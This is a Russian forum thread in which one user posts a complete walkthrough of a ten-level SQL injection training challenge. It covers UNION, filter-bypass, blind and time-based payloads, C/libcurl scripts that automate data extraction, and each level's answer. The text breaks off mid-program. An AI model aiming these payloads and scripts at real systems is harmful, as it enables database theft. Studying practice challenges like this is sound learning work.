Челлендж по SQL Injection для новчиков

Discussion in 'Песочница' started by yarbabin, 25 Mar 2015.

  1. teh

    teh Member

    Joined:
    2 Dec 2010
    Messages:
    79
    Likes Received:
    6
    Reputations:
    -2
    наконец то прошел левел 8. Сколько там уровней?
     
  2. MaxFast

    MaxFast Elder - Старейшина

    Joined:
    12 Oct 2011
    Messages:
    575
    Likes Received:
    149
    Reputations:
    94
    Десять.
    Сам остановился на десятом и забросил.
     
  3. teh

    teh Member

    Joined:
    2 Dec 2010
    Messages:
    79
    Likes Received:
    6
    Reputations:
    -2
    на 9 остановился и пошел спать. На восьмой где то 3 часа потратил. Нужно еще подучиться.
     
    1 person likes this.
  4. yarbabin

    yarbabin HACKIN YO KUT

    Joined:
    21 Nov 2007
    Messages:
    1,663
    Likes Received:
    916
    Reputations:
    363
    апну тему. советую всем новичкам
     
    _________________________
    leksadin and frank like this.
  5. Dude

    Dude Member

    Joined:
    25 Jun 2015
    Messages:
    3
    Likes Received:
    5
    Reputations:
    0
    Сразу скажу: с MySQL я знаком на уровне "когда то читал посвященный ей chm", с инъекциями примерно так же, поэтому не ждите от меня красивых решений. Я знаю что метод двоичного поиска реализован лишь на половину, а программы написаны кривовато, т.к. писались чтобы использовать один раз и забыть. Если нужно - могу привести код в порядок.
    1. Все просто, вводим запрос как он будет:
      Code:
      select pass from users where id=12;
      Ответ: QwErTy
    2. Тут надо отбросить то что нам мешает, примерно так: ' or id=9;#
      В итоге пучится :
      Code:
      select * from users where id=2 or login='' or id=9;#'
      # - начало комментария, все что за ней - отпросится.
      Ответ: secreto
    3. То же самое: ' or id=13;#
      Code:
      select * from users where id=2 or login='' or id=13;#' limit 1
      Видимо предыдущий я решил как то неверно, потому что решение подошло и сюда
      Ответ: iwanttogo4
    4. Нужно отбросить лимит и приклеить еще один запрос:
      Code:
      select * from users where id=2 or login='' union select * from secret where ggg='abc';#' limit 1
      Ответ: dg
    5. То же, что и в предыдущем, но не совпадает количество столбцов. Добьем недостающий единицей:
      Code:
      select * from users where id=2 or login='' union select *,1 from secret;#' limit 1
      Ответ: thisisapass232
    6. Нужно решить проблему фильтрации кавычки:
      Code:
      select * from users where id=0 or login=CHAR(0x67,0x6f,0x64) limit 1
      Ответ: ivarywantlevel7
      Хорошо, что вы не знаете как я решал задачу сначала...
    7. Нужно решить проблему фильтрации всего (пробелов, скобок, кавычек, чего то еще).
      Пробелы успешно меняются на /**/.
      Кавычки исключаются, строка представляется в виде шестнадцатеричных значений символов ее составляющих. Неизвестная группа символов меняется на % (0x25).
      Code:
      select * from users where id=0/**/or/**/login/**/like/**/0x2567656e746f6f25 limit 1
      Ответ: level8please
      Хорошо, что вы не знаете что тут я пытался сделать то же, что и в шестом в начале...
    8. Тут слепая инъекция, будем искать пароль посимвольно методом подбора. В данном случае это вполне нормально, однако когда надо найти длинные строки лучше бы использовать метод двоичной сортировки.
      Сначала узнаем его длину (привожу только то что ввел я, а не весь запрос):
      Code:
      0 union select * from users where login='fast' and LENGTH(pass)>3 
      нашло одного такого, пароль явно длиннее трех символов
      Code:
      0 union select * from users where login='fast' and LENGTH(pass)<10
      Снова нашло, пароль короче десяти символов. Так, запрос за запросом, я узнал что длина пароля равна 9. Нет смысла все это перепечатывать.

      Вручную 9 символов искать неохота, а потому я быстренько накодил следующее:
      Code:
      #include <stdio.h>
      #include <string.h>
      #include <curl/curl.h>
      
      static int writer(char *data, size_t size, size_t nmemb, char **buffer)
      {
        int result = size * nmemb;
        if(*buffer)
        {
        *buffer=(char*)realloc(*buffer,(strlen(*buffer)+result+1)*sizeof(char));
        strcat(*buffer,data);
        }
        else
        {
        *buffer=(char*)calloc(result+1,sizeof(char));
        strcpy(*buffer,data);
        }
        return result;
      }
      
      int curlPOST(char* URL,char* postData,char **buffer)
      {
        CURL *curl;
        CURLcode performReturn;
        curl_global_init(CURL_GLOBAL_DEFAULT);
        curl = curl_easy_init();
      
        if(curl)
        {
      
        curl_easy_setopt(curl, CURLOPT_URL, URL);
        curl_easy_setopt(curl, CURLOPT_NOPROGRESS, 1L);
        curl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, 0L);
        curl_easy_setopt(curl, CURLOPT_SSL_VERIFYHOST, 0L);
        curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, writer);
        curl_easy_setopt(curl, CURLOPT_WRITEDATA, buffer);
        if(postData)
        curl_easy_setopt(curl, CURLOPT_POSTFIELDS, postData);
      
        performReturn = curl_easy_perform(curl);
      
        if(performReturn != CURLE_OK)
        {
        printf("curl_easy_perform failed: %s\n",curl_easy_strerror(performReturn));
        return 0;
        }
        }
        else
        return 0;
      
        curl_global_cleanup();
      
        return 1;
      }
      
      void main()
      {
        char *ret;
        char url[255];
        char symb=0;
        int i,i1;
        char res=0;
      
        printf("Password charcode: 0x");
        for(i=1;i<=9;++i)
        {
        symb=0;
        do
        {
        symb++;
        sprintf(url,"https://alexbers.com/sql/qqqwwweeerrr8.php?text=0+union+select+*+from+users+where+login%%3D%%27fast%%27+and+ASCII%%28SUBSTRING%%28pass%%2C%d%%2C1%%29%%29%%3D%d",i,symb);//,symb,currentChar);
        ret=NULL;
        curlPOST(url,NULL,&ret);
        res=*(ret+443);
        free(ret);
      
        }
        while(res!='1');
        printf("%X",symb);
        }
      
        printf("\ndone!");
      }
      
      Все основано на следующем запросе (привожу только мою часть):
      Code:
      0 union select * from users where login='fast' and ASCII(SUBSTRING(pass,1,1))=57
      Ответ: 9levlpass
    9. Тут то же самое. Слепая иньекция. Нужно нормально реализовывать поиск. Все по аналогии с предыдущим заданием, в комментариях не нуждается.
      Code:
      #include <stdio.h>
      #include <string.h>
      #include <curl/curl.h>
      
      static int writer(char *data, size_t size, size_t nmemb, char **buffer)
      {
        int result = size * nmemb;
        if(*buffer)
        {
        *buffer=(char*)realloc(*buffer,(strlen(*buffer)+result+1)*sizeof(char));
        strcat(*buffer,data);
        }
        else
        {
        *buffer=(char*)calloc(result+1,sizeof(char));
        strcpy(*buffer,data);
        }
        return result;
      }
      
      int curlPOST(char* URL,char* postData,char **buffer)
      {
        CURL *curl;
        CURLcode performReturn;
        curl_global_init(CURL_GLOBAL_DEFAULT);
        curl = curl_easy_init();
      
        if(curl)
        {
      
        curl_easy_setopt(curl, CURLOPT_URL, URL);
        curl_easy_setopt(curl, CURLOPT_NOPROGRESS, 1L);
        curl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, 0L);
        curl_easy_setopt(curl, CURLOPT_SSL_VERIFYHOST, 0L);
        curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, writer);
        curl_easy_setopt(curl, CURLOPT_WRITEDATA, buffer);
        if(postData)
        curl_easy_setopt(curl, CURLOPT_POSTFIELDS, postData);
      
        performReturn = curl_easy_perform(curl);
      
        if(performReturn != CURLE_OK)
        {
        printf("curl_easy_perform failed: %s\n",curl_easy_strerror(performReturn));
        return 0;
        }
        }
        else
        return 0;
      
        curl_global_cleanup();
      
        return 1;
      }
      
      int getLoginLength(int id)
      {
        char url[255], *ret, state;
        sprintf(url,"https://alexbers.com/sql/almost9.php?text=%d+and+length%%28login%%29>0",id);
      
        ret=NULL;
        curlPOST(url,NULL,&ret);
        state=*(ret+394);
        free(ret);
      
        if(state!='1')return -1;
      
        int cmax=20;//будем считать что нет логинов длиннее 20
      
        while(1)
        {
        sprintf(url,"https://alexbers.com/sql/almost9.php?text=%d+and+length%%28login%%29<%d",id,cmax);
        ret=NULL;
        curlPOST(url,NULL,&ret);
        state=*(ret+394);
        free(ret);
      
        if(state=='1')cmax/=2;else break;
      
        }
      
        while(1)
        {
        sprintf(url,"https://alexbers.com/sql/almost9.php?text=%d+and+length%%28login%%29%%3D%d",id,cmax);
        ret=NULL;
        curlPOST(url,NULL,&ret);
        state=*(ret+394);
        free(ret);
      
        if(state=='1')return cmax;else ++cmax;
      
        }
      
        return -1;
      }
      
      char findLoginChar(int id, int charNum)
      {
        char url[255], *ret, state;
      
        int cmax=255;
      
        while(1)
        {
        sprintf(url,"https://alexbers.com/sql/almost9.php?text=%d+and+ascii%%28SUBSTRING%%28login%%2C%d%%2C1%%29%%29<%d",id,charNum,cmax);
        ret=NULL;
        curlPOST(url,NULL,&ret);
        state=*(ret+394);
        free(ret);
      
        if(state=='1')cmax/=2;else break;
      
        }
      
      
        while(1)
        {
        sprintf(url,"https://alexbers.com/sql/almost9.php?text=%d+and+ascii%%28SUBSTRING%%28login%%2C%d%%2C1%%29%%29%%3D%d",id,charNum,cmax);
        ret=NULL;
        curlPOST(url,NULL,&ret);
        state=*(ret+394);
        free(ret);
      
        if(state=='1')
        return cmax;
        else
        ++cmax;
      
        }
      
        return -1;
      }
      
      void main()
      {
        int i,i1,cLen;
      
        for(i=20;i<=30;++i)
        {
        cLen=getLoginLength(i);
        for(i1=0;i1<cLen;++i1)printf("%c",findLoginChar(i, i1+1));
        printf("\n");
        }
      
      }
      В итоге их логины:
      • 48
      • 131
      • 125
      • 1104
      • 182
      • 51
      • 195
      • 5
      • 136
      • 121
      • 127
      Ответ: 2225
    10. Слепой запрос без вывода, time-based injection.
      Не извесно ничего. Надо узнать хоты бя имена таблиц (и их количество).

      Code:
      select if((select count(1) from information_schema.schemata)=6,BENCHMARK(1000000,ENCODE('DROP DA BOMB','Doctor Phineas Waldolf Steel')),null);
      Задержка выполняется при условии что количество баз равно 6. И так, цифра за цифрой, подбираем количество баз.

      Code:
      #include <stdio.h>
      #include <string.h>
      #include <curl/curl.h>
      #include <ctime>  
      
      static int writer(char *data, size_t size, size_t nmemb, char **buffer)
      {
         int result = size * nmemb;
         if(*buffer)
         {
           *buffer=(char*)realloc(*buffer,(strlen(*buffer)+result+1)*sizeof(char));
           strcat(*buffer,data);
         }
         else
         {
           *buffer=(char*)calloc(result+1,sizeof(char));
           strcpy(*buffer,data);
         }
         return result;
      }
      
      int curlPOST(char* URL,char* postData,char **buffer)
      {
         CURL *curl;
         CURLcode performReturn;
         curl_global_init(CURL_GLOBAL_DEFAULT);
         curl = curl_easy_init();
      
         if(curl)
         {
      
           curl_easy_setopt(curl, CURLOPT_URL, URL);
           curl_easy_setopt(curl, CURLOPT_NOPROGRESS, 1L);
           curl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, 0L);
           curl_easy_setopt(curl, CURLOPT_SSL_VERIFYHOST, 0L);
           curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, writer);
           curl_easy_setopt(curl, CURLOPT_WRITEDATA, buffer);
           if(postData)
             curl_easy_setopt(curl, CURLOPT_POSTFIELDS, postData);
      
           performReturn = curl_easy_perform(curl);
      
           if(performReturn != CURLE_OK)
           {
             printf("curl_easy_perform failed: %s\n",curl_easy_strerror(performReturn));
             return 0;
           }
         }
         else
           return 0;
      
         curl_global_cleanup();
      
         return 1;
      }
      
      void main()
      {
         char url[255], *ret, state;
         int i;
         double time[50];
      
         int colcount=0;
      
         while(1)
         {
           sprintf(url,"https://alexbers.com/sql/lastlevel10.php?text=if%%28%%28select+count%%281%%29+from+information_schema.schemata%%29%%3D%d%%2CBENCHMARK%%281000000%%2CENCODE%%28%%27DROP+DA+BOMB%%27%%2C%%27Doctor+Phineas+Waldolf+Steel%%27%%29%%29%%2Cnull%%29%%3B",colcount);
           ret=NULL;
      
           unsigned int start_time =  clock();
           curlPOST(url,NULL,&ret);
           unsigned int end_time = clock();
           free(ret);
           if( ((double)end_time - (double)start_time)>870.0)
           {
           printf("we have %d columns\n",colcount);
           break;
           }
           else
           printf("we have mote than %d columns\n",colcount);
           ++colcount;
         }
      
         system("pause");
      }

      Оказывается две базы. Одна ясна - information_schema. Ищем имя второй.

      Сначала находим длину.

      Code:
      #include <stdio.h>
      #include <string.h>
      #include <curl/curl.h>
      #include <ctime>  
      
      static int writer(char *data, size_t size, size_t nmemb, char **buffer)
      {
         int result = size * nmemb;
         if(*buffer)
         {
           *buffer=(char*)realloc(*buffer,(strlen(*buffer)+result+1)*sizeof(char));
           strcat(*buffer,data);
         }
         else
         {
           *buffer=(char*)calloc(result+1,sizeof(char));
           strcpy(*buffer,data);
         }
         return result;
      }
      
      int curlPOST(char* URL,char* postData,char **buffer)
      {
         CURL *curl;
         CURLcode performReturn;
         curl_global_init(CURL_GLOBAL_DEFAULT);
         curl = curl_easy_init();
      
         if(curl)
         {
      
           curl_easy_setopt(curl, CURLOPT_URL, URL);
           curl_easy_setopt(curl, CURLOPT_NOPROGRESS, 1L);
           curl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, 0L);
           curl_easy_setopt(curl, CURLOPT_SSL_VERIFYHOST, 0L);
           curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, writer);
           curl_easy_setopt(curl, CURLOPT_WRITEDATA, buffer);
           if(postData)
             curl_easy_setopt(curl, CURLOPT_POSTFIELDS, postData);
      
           performReturn = curl_easy_perform(curl);
      
           if(performReturn != CURLE_OK)
           {
             printf("curl_easy_perform failed: %s\n",curl_easy_strerror(performReturn));
             return 0;
           }
         }
         else
           return 0;
      
         curl_global_cleanup();
      
         return 1;
      }
      
      void main()
      {
         char url[420], *ret, state;
         int i;
         double time[50];
      
         int dbNameLen=0;
      
         while(1)
         {
           sprintf(url,"https://alexbers.com/sql/lastlevel10.php?text=if%%28%%28select+count%%28*%%29+from+information_schema.schemata+where+schema_name+!%%3D%%27information_schema%%27+and+length%%28schema_name%%29%%3D%d%%29%%2CBENCHMARK%%281000000%%2CENCODE%%28%%27DROP+DA+BOMB%%27%%2C%%27Doctor+Phineas+Waldolf+Steel%%27%%29%%29%%2Cnull%%29%%3B",dbNameLen);
           ret=NULL;
      
           unsigned int start_time =  clock();
           curlPOST(url,NULL,&ret);
           unsigned int end_time = clock();
           free(ret);
           if( ((double)end_time - (double)start_time)>870.0)
           {
           printf("Db name have %d characters\n",dbNameLen);
           break;
           }
           else
           printf("we have mote than %d characters\n",dbNameLen);
           ++dbNameLen;
         }
      
         system("pause");
      }
      

      Code:
      select if((select count(*) from information_schema.schemata where schema_name !='information_schema' and length(schema_name)=3),BENCHMARK(1000000,ENCODE('DROP DA BOMB','Doctor Phineas Waldolf Steel')),null);
      Все основано на этом запросе выше.

      Длина имени базы равна 7 символов.

      Теперь имя. По буквам (из за неточности пришлось увеличить задержку).

      Code:
      #include <stdio.h>
      #include <string.h>
      #include <curl/curl.h>
      #include <ctime>  
      
      static int writer(char *data, size_t size, size_t nmemb, char **buffer)
      {
         int result = size * nmemb;
         if(*buffer)
         {
           *buffer=(char*)realloc(*buffer,(strlen(*buffer)+result+1)*sizeof(char));
           strcat(*buffer,data);
         }
         else
         {
           *buffer=(char*)calloc(result+1,sizeof(char));
           strcpy(*buffer,data);
         }
         return result;
      }
      
      int curlPOST(char* URL,char* postData,char **buffer)
      {
         CURL *curl;
         CURLcode performReturn;
         curl_global_init(CURL_GLOBAL_DEFAULT);
         curl = curl_easy_init();
      
         if(curl)
         {
      
           curl_easy_setopt(curl, CURLOPT_URL, URL);
           curl_easy_setopt(curl, CURLOPT_NOPROGRESS, 1L);
           curl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, 0L);
           curl_easy_setopt(curl, CURLOPT_SSL_VERIFYHOST, 0L);
           curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, writer);
           curl_easy_setopt(curl, CURLOPT_WRITEDATA, buffer);
           if(postData)
             curl_easy_setopt(curl, CURLOPT_POSTFIELDS, postData);
      
           performReturn = curl_easy_perform(curl);
      
           if(performReturn != CURLE_OK)
           {
             printf("curl_easy_perform failed: %s\n",curl_easy_strerror(performReturn));
             return 0;
           }
         }
         else
           return 0;
      
         curl_global_cleanup();
      
         return 1;
      }
      
      char findChar(int charNum)
      {
         char url[420], *ret;
      
         int cmax=255;
      
         while(1)
         {
           sprintf(url,"https://alexbers.com/sql/lastlevel10.php?text=if%%28%%28select+count%%28*%%29+from+information_schema.schemata+where+schema_name+!%%3D%%27information_schema%%27+and+ascii%%28SUBSTRING%%28schema_name%%2C%d%%2C1%%29%%29>%d%%29%%2CBENCHMARK%%285000000%%2CENCODE%%28%%27DROP+DA+BOMB%%27%%2C%%27Doctor+Phineas+Waldolf+Steel%%27%%29%%29%%2Cnull%%29%%3B",charNum,cmax);
           ret=NULL;
           unsigned int start_time =  clock();
           curlPOST(url,NULL,&ret);
           unsigned int end_time = clock();
           free(ret);
      
           if( ((double)end_time - (double)start_time)<2500.0)   cmax/=2; else break;
         }
      
         while(1)
         {
           sprintf(url,"https://alexbers.com/sql/lastlevel10.php?text=if%%28%%28select+count%%28*%%29+from+information_schema.schemata+where+schema_name+!%%3D%%27information_schema%%27+and+ascii%%28SUBSTRING%%28schema_name%%2C%d%%2C1%%29%%29%%3D%d%%29%%2CBENCHMARK%%285000000%%2CENCODE%%28%%27DROP+DA+BOMB%%27%%2C%%27Doctor+Phineas+Waldolf+Steel%%27%%29%%29%%2Cnull%%29%%3B",charNum,cmax);
           ret=NULL;
      
           unsigned int start_time =  clock();
           curlPOST(url,NULL,&ret);
           unsigned int end_time = clock();
      
           free(ret);
      
           if( ((double)end_time - (double)start_time)>2500.0)   return cmax; else ++cmax;
      
         }
      
         return -1;
      }
      
      void main()
      {
      
         int i;
      
         for(i=0;i<7;++i)
           printf("%c",findChar(i+1));
      
      }
      

      База называется "level10". Какой сюрприз. Мог бы и догадатся.

      Code:
      select if((select count(*) from information_schema.schemata where schema_name !='information_schema' and ascii(SUBSTRING(schema_name,1,1))=50),BENCHMARK(1000000,ENCODE('DROP DA BOMB','Doctor Phineas Waldolf Steel')),null);
      На этом запросе основывался поиск имени базы

      Теперь найдем количество таблиц в базе.

      Code:
      #include <stdio.h>
      #include <string.h>
      #include <curl/curl.h>
      #include <ctime>  
      
      static int writer(char *data, size_t size, size_t nmemb, char **buffer)
      {
         int result = size * nmemb;
         if(*buffer)
         {
           *buffer=(char*)realloc(*buffer,(strlen(*buffer)+result+1)*sizeof(char));
           strcat(*buffer,data);
         }
         else
         {
           *buffer=(char*)calloc(result+1,sizeof(char));
           strcpy(*buffer,data);
         }
         return result;
      }
      
      int curlPOST(char* URL,char* postData,char **buffer)
      {
         CURL *curl;
         CURLcode performReturn;
         curl_global_init(CURL_GLOBAL_DEFAULT);
         curl = curl_easy_init();
      
         if(curl)
         {
      
           curl_easy_setopt(curl, CURLOPT_URL, URL);
           curl_easy_setopt(curl, CURLOPT_NOPROGRESS, 1L);
           curl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, 0L);
           curl_easy_setopt(curl, CURLOPT_SSL_VERIFYHOST, 0L);
           curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, writer);
           curl_easy_setopt(curl, CURLOPT_WRITEDATA, buffer);
           if(postData)
             curl_easy_setopt(curl, CURLOPT_POSTFIELDS, postData);
      
           performReturn = curl_easy_perform(curl);
      
           if(performReturn != CURLE_OK)
           {
             printf("curl_easy_perform failed: %s\n",curl_easy_strerror(performReturn));
             return 0;
           }
         }
         else
           return 0;
      
         curl_global_cleanup();
      
         return 1;
      }
      
      void main()
      {
         char url[255], *ret, state;
         int i;
         double time[50];
      
         int colcount=0;
      
         while(1)
         {
           sprintf(url,"https://alexbers.com/sql/lastlevel10.php?text=if%%28%%28select+count%%28*%%29+from+information_schema.tables+where+table_schema%%3D%%27level10%%27%%29%%3D%d%%2CBENCHMARK%%285000000%%2CENCODE%%28%%27DROP+DA+BOMB%%27%%2C%%27Doctor+Phineas+Waldolf+Steel%%27%%29%%29%%2Cnull%%29%%3B",colcount);
           ret=NULL;
      
           unsigned int start_time =  clock();
           curlPOST(url,NULL,&ret);
           unsigned int end_time = clock();
           free(ret);
           if( ((double)end_time - (double)start_time)>2500.0)
           {
             printf("we have %d table\n",colcount);
             break;
           }
           else
             printf("we have mote than %d tables\n",colcount);
           ++colcount;
         }
      
         system("pause");
      }
      

      Code:
      select if((select count(*) from information_schema.tables where table_schema='level10')=1,BENCHMARK(5000000,ENCODE('DROP DA BOMB','Doctor Phineas Waldolf Steel')),null);
      Все на основе запроса выше.
      Таблица одна. Теперь ее имя.

      Как всегда, сначала его длинна.

      Code:
      #include <stdio.h>
      #include <string.h>
      #include <curl/curl.h>
      #include <ctime>  
      
      static int writer(char *data, size_t size, size_t nmemb, char **buffer)
      {
         int result = size * nmemb;
         if(*buffer)
         {
           *buffer=(char*)realloc(*buffer,(strlen(*buffer)+result+1)*sizeof(char));
           strcat(*buffer,data);
         }
         else
         {
           *buffer=(char*)calloc(result+1,sizeof(char));
           strcpy(*buffer,data);
         }
         return result;
      }
      
      int curlPOST(char* URL,char* postData,char **buffer)
      {
         CURL *curl;
         CURLcode performReturn;
         curl_global_init(CURL_GLOBAL_DEFAULT);
         curl = curl_easy_init();
      
         if(curl)
         {
      
           curl_easy_setopt(curl, CURLOPT_URL, URL);
           curl_easy_setopt(curl, CURLOPT_NOPROGRESS, 1L);
           curl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, 0L);
           curl_easy_setopt(curl, CURLOPT_SSL_VERIFYHOST, 0L);
           curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, writer);
           curl_easy_setopt(curl, CURLOPT_WRITEDATA, buffer);
           if(postData)
             curl_easy_setopt(curl, CURLOPT_POSTFIELDS, postData);
      
           performReturn = curl_easy_perform(curl);
      
           if(performReturn != CURLE_OK)
           {
             printf("curl_easy_perform failed: %s\n",curl_easy_strerror(performReturn));
             return 0;
           }
         }
         else
           return 0;
      
         curl_global_cleanup();
      
         return 1;
      }
      
      void main()
      {
         char url[320], *ret, state;
         int i;
         double time[50];
      
         int colcount=0;
      
         while(1)
         {
           sprintf(url,"https://alexbers.com/sql/lastlevel10.php?text=if%%28%%28select+count%%28*%%29+from+information_schema.tables+++where+table_schema%%3D%%27level10%%27+and+length%%28table_name%%29%%3D%d%%29%%2CBENCHMARK%%285000000%%2CENCODE%%28%%27DROP+DA+BOMB%%27%%2C%%27Doctor+Phineas+Waldolf+Steel%%27%%29%%29%%2Cnull%%29%%3B",colcount);
           ret=NULL;
      
           unsigned int start_time =  clock();
           curlPOST(url,NULL,&ret);
           unsigned int end_time = clock();
           free(ret);
           if( ((double)end_time - (double)start_time)>2500.0)
           {
             printf("we have %d symbols\n",colcount);
             break;
           }
           else
             printf("we have mote than %d symbols\n",colcount);
           ++colcount;
         }
      
         system("pause");
      }
      

      Code:
      select if((select count(*) from information_schema.tables where table_schema='level10' and length(table_name)=3),BENCHMARK(5000000,ENCODE('DROP DA BOMB','Doctor Phineas Waldolf Steel')),null);
      Основано на запросе выше.

      Длина имени таблицы - 11 символов.
      А вот теперь ее имя.

      Code:
      #include <stdio.h>
      #include <string.h>
      #include <curl/curl.h>
      #include <ctime>  
      
      static int writer(char *data, size_t size, size_t nmemb, char **buffer)
      {
         int result = size * nmemb;
         if(*buffer)
         {
           *buffer=(char*)realloc(*buffer,(strlen(*buffer)+result+1)*sizeof(char));
           strcat(*buffer,data);
         }
         else
         {
           *buffer=(char*)calloc(result+1,sizeof(char));
           strcpy(*buffer,data);
         }
         return result;
      }
      
      int curlPOST(char* URL,char* postData,char **buffer)
      {
         CURL *curl;
         CURLcode performReturn;
         curl_global_init(CURL_GLOBAL_DEFAULT);
         curl = curl_easy_init();
      
         if(curl)
         {
      
           curl_easy_setopt(curl, CURLOPT_URL, URL);
           curl_easy_setopt(curl, CURLOPT_NOPROGRESS, 1L);
           curl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, 0L);
           curl_easy_setopt(curl, CURLOPT_SSL_VERIFYHOST, 0L);
           curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, writer);
           curl_easy_setopt(curl, CURLOPT_WRITEDATA, buffer);
           if(postData)
             curl_easy_setopt(curl, CURLOPT_POSTFIELDS, postData);
      
           performReturn = curl_easy_perform(curl);
      
           if(performReturn != CURLE_OK)
           {
             printf("curl_easy_perform failed: %s\n",curl_easy_strerror(performReturn));
             return 0;
           }
         }
         else
           return 0;
      
         curl_global_cleanup();
      
         return 1;
      }
      
      char findChar(int charNum)
      {
         char url[420], *ret;
      
         int cmax=255;
      
         while(1)
         {
           sprintf(url,"https://alexbers.com/sql/lastlevel10.php?text=if%%28%%28select+count%%28*%%29+from+information_schema.tables+where+table_schema%%3D%%27level10%%27+and+ascii%%28SUBSTRING%%28table_name%%2C%d%%2C1%%29%%29>%d%%29%%2CBENCHMARK%%285000000%%2CENCODE%%28%%27DROP+DA+BOMB%%27%%2C%%27Doctor+Phineas+Waldolf+Steel%%27%%29%%29%%2Cnull%%29%%3B",charNum,cmax);
           ret=NULL;
           unsigned int start_time =  clock();
           curlPOST(url,NULL,&ret);
           unsigned int end_time = clock();
           free(ret);
      
           if( ((double)end_time - (double)start_time)<2500.0)   cmax/=2; else break;
         }
      
         while(1)
         {
           sprintf(url,"https://alexbers.com/sql/lastlevel10.php?text=if%%28%%28select+count%%28*%%29+from+information_schema.tables+where+table_schema%%3D%%27level10%%27+and+ascii%%28SUBSTRING%%28table_name%%2C%d%%2C1%%29%%29%%3D%d%%29%%2CBENCHMARK%%285000000%%2CENCODE%%28%%27DROP+DA+BOMB%%27%%2C%%27Doctor+Phineas+Waldolf+Steel%%27%%29%%29%%2Cnull%%29%%3B",charNum,cmax);
           ret=NULL;
      
           unsigned int start_time =  clock();
           curlPOST(url,NULL,&ret);
           unsigned int end_time = clock();
      
           free(ret);
      
           if( ((double)end_time - (double)start_time)>2500.0)   return cmax; else ++cmax;
      
         }
      
         return -1;
      }
      
      void main()
      {
      
         int i;
      
         for(i=0;i<11;++i)
           printf("%c",findChar(i+1));
      
      }
      

      Code:
      select if((select count(*) from information_schema.tables where table_schema='level10' and ascii(SUBSTRING(table_name,1,1))=99),BENCHMARK(5000000,ENCODE('DROP DA BOMB','Doctor Phineas Waldolf Steel')),null);
      Имя таблицы: davidblayne
      Вдруг это уже ответ? Нет, нас еще помучают.

      Теперь количество строк ней (хоть это не сложно):

      Code:
      #include <stdio.h>
      #include <string.h>
      #include <curl/curl.h>
      #include <ctime>  
      
      static int writer(char *data, size_t size, size_t nmemb, char **buffer)
      {
         int result = size * nmemb;
         if(*buffer)
         {
           *buffer=(char*)realloc(*buffer,(strlen(*buffer)+result+1)*sizeof(char));
           strcat(*buffer,data);
         }
         else
         {
           *buffer=(char*)calloc(result+1,sizeof(char));
           strcpy(*buffer,data);
         }
         return result;
      }
      
      int curlPOST(char* URL,char* postData,char **buffer)
      {
         CURL *curl;
         CURLcode performReturn;
         curl_global_init(CURL_GLOBAL_DEFAULT);
         curl = curl_easy_init();
      
         if(curl)
         {
      
           curl_easy_setopt(curl, CURLOPT_URL, URL);
           curl_easy_setopt(curl, CURLOPT_NOPROGRESS, 1L);
           curl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, 0L);
           curl_easy_setopt(curl, CURLOPT_SSL_VERIFYHOST, 0L);
           curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, writer);
           curl_easy_setopt(curl, CURLOPT_WRITEDATA, buffer);
           if(postData)
             curl_easy_setopt(curl, CURLOPT_POSTFIELDS, postData);
      
           performReturn = curl_easy_perform(curl);
      
           if(performReturn != CURLE_OK)
           {
             printf("curl_easy_perform failed: %s\n",curl_easy_strerror(performReturn));
             return 0;
           }
         }
         else
           return 0;
      
         curl_global_cleanup();
      
         return 1;
      }
      
      void main()
      {
         char url[255], *ret, state;
         int i;
         double time[50];
      
         int colcount=0;
      
         while(1)
         {
           sprintf(url,"https://alexbers.com/sql/lastlevel10.php?text=if%%28%%28select+count%%28*%%29+from+level10.davidblayne%%29%%3D%d%%2CBENCHMARK%%285000000%%2CENCODE%%28%%27DROP+DA+BOMB%%27%%2C%%27Doctor+Phineas+Waldolf+Steel%%27%%29%%29%%2Cnull%%29%%3B",colcount);
           ret=NULL;
      
           unsigned int start_time =  clock();
           curlPOST(url,NULL,&ret);
           unsigned int end_time = clock();
           free(ret);
           if( ((double)end_time - (double)start_time)>870.0)
           {
             printf("we have %d columns\n",colcount);
             break;
           }
           else
             printf("we have mote than %d columns\n",colcount);
           ++colcount;
         }
      
         system("pause");
      }
      

      Code:
      select if((select count(*) from level10.davidblayne)=2,BENCHMARK(5000000,ENCODE('DROP DA BOMB','Doctor Phineas Waldolf Steel')),null);
      На основе запроса выше выясняем - всего одна строка. Надеюсь хоть там то пароль.

      Теперь количество столбцов.
      Code:
      #include <stdio.h>
      #include <string.h>
      #include <curl/curl.h>
      #include <ctime>  
      
      static int writer(char *data, size_t size, size_t nmemb, char **buffer)
      {
         int result = size * nmemb;
         if(*buffer)
         {
           *buffer=(char*)realloc(*buffer,(strlen(*buffer)+result+1)*sizeof(char));
           strcat(*buffer,data);
         }
         else
         {
           *buffer=(char*)calloc(result+1,sizeof(char));
           strcpy(*buffer,data);
         }
         return result;
      }
      
      int curlPOST(char* URL,char* postData,char **buffer)
      {
         CURL *curl;
         CURLcode performReturn;
         curl_global_init(CURL_GLOBAL_DEFAULT);
         curl = curl_easy_init();
      
         if(curl)
         {
      
           curl_easy_setopt(curl, CURLOPT_URL, URL);
           curl_easy_setopt(curl, CURLOPT_NOPROGRESS, 1L);
           curl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, 0L);
           curl_easy_setopt(curl, CURLOPT_SSL_VERIFYHOST, 0L);
           curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, writer);
           curl_easy_setopt(curl, CURLOPT_WRITEDATA, buffer);
           if(postData)
             curl_easy_setopt(curl, CURLOPT_POSTFIELDS, postData);
      
           performReturn = curl_easy_perform(curl);
      
           if(performReturn != CURLE_OK)
           {
             printf("curl_easy_perform failed: %s\n",curl_easy_strerror(performReturn));
             return 0;
           }
         }
         else
           return 0;
      
         curl_global_cleanup();
      
         return 1;
      }
      
      void main()
